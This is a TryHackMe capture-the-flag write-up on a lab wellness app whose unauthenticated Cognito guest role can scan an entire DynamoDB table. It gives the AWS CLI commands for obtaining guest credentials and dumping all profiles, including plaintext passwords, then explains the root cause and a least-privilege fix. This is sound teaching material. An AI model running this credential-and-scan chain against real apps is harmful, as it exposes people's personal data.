Byte Lotus Wellness – A Deep Dive into Misconfigured AWS Permissions
TryHackMe Challenge Write-Up
Learn how an unauthenticated guest role in AWS can expose sensitive data – step by step.
📖 Introduction
The challenge presents a wellness app that promises “complimentary access” without any login or sign-up. Upon opening the web page, the app magically “knows” you and displays your wellness profile. But how? And what else can you access?
The goal: find out how the app knows anything about you, and see what else it’s willing to hand over.
Spoiler: It’s all about Cognito Identity Pools and over-permissive IAM roles.
🕵️ Reconnaissance
Step 1 – Website & S3 Bucket
The app is hosted on an S3 bucket as a static website:
http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/
Enter fullscreen mode Exit fullscreen mode
First, we try to list the bucket directly (maybe the flag is stored as a file):
aws s3 ls s3://complimentary-wellness-app-332173347248/ --no-sign-request
Enter fullscreen mode Exit fullscreen mode
Response:
aws: [ERROR]: An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
Enter fullscreen mode Exit fullscreen mode
So the bucket is not publicly listable – we need to look elsewhere.
Step 2 – Inspecting the Frontend
We download the main page and look for JavaScript files that might contain logic or AWS configuration.
curl -s http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/ > index.html
Enter fullscreen mode Exit fullscreen mode
Examining index.html reveals a <script> tag loading app.js. We fetch it:
curl -s http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.js
Enter fullscreen mode Exit fullscreen mode
The source code is very revealing – it contains hardcoded AWS configuration.
📄 Static Analysis – app.js
Here is the full app.js (with comments preserved):
// Byte Lotus Wellness - guest dashboard
//
// No login screen on purpose: every visitor gets "free" AWS guest
// credentials from our Cognito Identity Pool so we can save wellness
// preferences without the friction of an account.
const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
const TABLE_NAME = "complimentary-GuestWellnessProfiles";
AWS.config.region = AWS_REGION;
AWS.config.credentials = new AWS.CognitoIdentityCredentials({
IdentityPoolId: IDENTITY_POOL_ID,
});
function guestId() {
let id = localStorage.getItem("byteLotusGuestId");
if (!id) {
// First visit: hand out a throwaway guest id, same as checking in.
id = "guest-" + Math.random().toString(36).slice(2, 10);
localStorage.setItem("byteLotusGuestId", id);
}
return id;
}
function renderDashboard(item) {
const el = document.getElementById("dashboard");
if (!item) {
el.textContent = "Welcome! We don't have wellness data for you yet - check back after your first spa visit.";
return;
}
el.textContent = [
"Name: " + (item.name ? item.name.S : "-"),
"Loyalty notes: " + (item.notes ? item.notes.S : "-"),
].join("\n");
}
AWS.config.credentials.get(function (err) {
if (err) {
console.error("Could not fetch guest credentials:", err);
return;
}
const dynamodb = new AWS.DynamoDB({ region: AWS_REGION });
dynamodb.getItem(
{
TableName: TABLE_NAME,
Key: { guest_id: { S: guestId() } },
},
function (err, data) {
if (err) {
console.error("Could not load dashboard:", err);
return;
}
renderDashboard(data.Item);
}
);
});
Enter fullscreen mode Exit fullscreen mode
🔍 What we learn
- The app uses Amazon Cognito Identity Pools (Federated Identities) to obtain temporary AWS credentials for every visitor.
- The credentials are fetched without any authentication – unauthenticated guest access.
- The Identity Pool ID, region, and DynamoDB table name are hardcoded in the client-side code.
- The app generates a random
guest-xxxxxxxxID and stores it inlocalStorageto identify the user. - It then queries DynamoDB with
dynamodb.getItem()using that guest ID and displays the name and notes.
The crucial point: the IAM role attached to the guest identity pool likely has overly broad permissions – possibly allowing Scan on the entire table.
💥 Exploitation – Retrieving All Data
Step 1 – Get a Cognito Identity ID
Using the Identity Pool ID from app.js, we call the AWS CLI to obtain an identity ID (this is an unauthenticated call – no credentials needed).
aws cognito-identity get-id \
--identity-pool-id "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688" \
--region us-east-1 \
--no-sign-request
Enter fullscreen mode Exit fullscreen mode
Response:
{
"IdentityId": "us-east-1:4d571309-b069-c330-4112-2db03548a68a"
}
Enter fullscreen mode Exit fullscreen mode
Step 2 – Get Temporary AWS Credentials
Now we use that identity ID to obtain temporary credentials (Access Key, Secret Key, Session Token). Again, no prior authentication is required.
aws cognito-identity get-credentials-for-identity \
--identity-id "us-east-1:4d571309-b069-c330-4112-2db03548a68a" \
--region us-east-1 \
--no-sign-request
Enter fullscreen mode Exit fullscreen mode
Response (trimmed for readability):
{
"IdentityId": "us-east-1:4d571309-b069-c330-4112-2db03548a68a",
"Credentials": {
"AccessKeyId": "ASIAU2VYTBGYOA6TL5AK",
"SecretKey": "Xex9BTBIuqWV0SqjgIuP1dICFaWj/FiTFk/9+iZq",
"SessionToken": "IQoJb3JpZ2luX2Vj…",
"Expiration": "2026-08-03T07:32:25-04:00"
}
}
Enter fullscreen mode Exit fullscreen mode
Note: These credentials are temporary and will expire – but they give us enough time to query DynamoDB.
Step 3 – Use the Credentials to Access DynamoDB
We set the credentials as environment variables so the AWS CLI uses them.
export AWS_ACCESS_KEY_ID="ASIAU2VYTBGYOA6TL5AK"
export AWS_SECRET_ACCESS_KEY="Xex9BTBIuqWV0SqjgIuP1dICFaWj/FiTFk/9+iZq"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2Vj…"
export AWS_DEFAULT_REGION="us-east-1"
Enter fullscreen mode Exit fullscreen mode
Now we can perform a Scan on the DynamoDB table (assuming the role allows it). Let’s try:
aws dynamodb scan --table-name "complimentary-GuestWellnessProfiles"
Enter fullscreen mode Exit fullscreen mode
Response (all items):
{
"Items": [
{
"password": { "S": "digitaldetox2026" },
"location": { "S": "25.2055,55.2733" },
"notes": { "S": "Booked the quiet room for his \"digital detox.\" Checked email twice since writing that." },
"guest_id": { "S": "guest-vibe" },
"email": { "S": "[email protected]" },
"phone": { "S": "+1–555–0193" },
"name": { "S": "Vibe (Move Fast & Break Things)" }
},
{
"password": { "S": "sunkissed88" },
"location": { "S": "25.2048,55.2708" },
"notes": { "S": "Posted 47 times in three days. Wants everything tagged #ByteLotus for the algorithm." },
"guest_id": { "S": "guest-lambo" },
"email": { "S": "[email protected]" },
"phone": { "S": "+1–555–0142" },
"name": { "S": "Lambo (@0xMia)" }
},
{
"password": { "S": "escalation_only" },
"location": { "S": "25.2048,55.2708" },
"notes": { "S": "If you're reading this, the wellness app's guest role can read every profile, not just its own. THM{fr33_app_****_****!}" },
"guest_id": { "S": "guest-vip-042" },
"email": { "S": "[email protected]" },
"phone": { "S": "+1–555–0100" }
}
]
}
Enter fullscreen mode Exit fullscreen mode
We found the flag! It’s embedded in the notes of the guest-vip-042 item:
THM{fr33_app_****_****!}
Enter fullscreen mode Exit fullscreen mode
🧠 Why Did This Happen? (Root Cause Analysis)
🔹 Cognito Identity Pools (Federated Identities)
Amazon Cognito Identity Pools allow you to grant temporary AWS credentials to users, even unauthenticated ones. This is often used for guest access in mobile/web apps. The identity pool is configured with an IAM role that defines what actions the temporary credentials can perform.
🔹 The Misconfiguration
The IAM role attached to the unauthenticated guest access was over-permissive.
Instead of restricting access to only the specific item belonging to that guest (e.g., using GetItem with a condition on guest_id), the role allowed dynamodb:Scan on the entire table. This meant anyone with the Identity Pool ID could retrieve all records.
🔹 Client-Side Exposure
Hardcoding the Identity Pool ID, region, and table name in client-side JavaScript is standard for frontend apps using AWS – but it must be paired with proper IAM restrictions. Here, the developer relied on the client-generated guest_id to filter data, but the backend permissions made that filter irrelevant.
🛡️ How to Fix It (Mitigation)
-
Apply the Principle of Least Privilege to the IAM role for unauthenticated users.
- Only allow
dynamodb:GetItem(notScan). - Use a Condition to restrict access to items where
guest_idmatches the Cognito identity ID (or a derived value). - Example IAM policy:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "dynamodb:GetItem", "Resource": "arn:aws:dynamodb:us-east-1:ACCOUNT:table/complimentary-GuestWellnessProfiles", "Condition": { "ForAllValues:StringEquals": { "dynamodb:LeadingKeys": ["${cognito-identity.amazonaws.com:sub}"] } } } ] } - Only allow
Avoid hardcoding sensitive values in client-side code – but in this case, the identity pool ID is meant to be public; the real protection is the IAM policy.
📌 Conclusion
This challenge demonstrates a classic cloud misconfiguration: over-privileged unauthenticated roles. By extracting the Identity Pool ID from the frontend JavaScript, we obtained temporary credentials and scanned the DynamoDB table, exposing all guest profiles – including the flag.
The key takeaway: never trust client-side data filtering; always enforce strict permissions at the IAM level.
🏁 Flag
THM{fr33_app_****_****!}
Enter fullscreen mode Exit fullscreen mode
Happy hacking, and remember – with great permissions come great responsibilities! 🔐
답글 남기기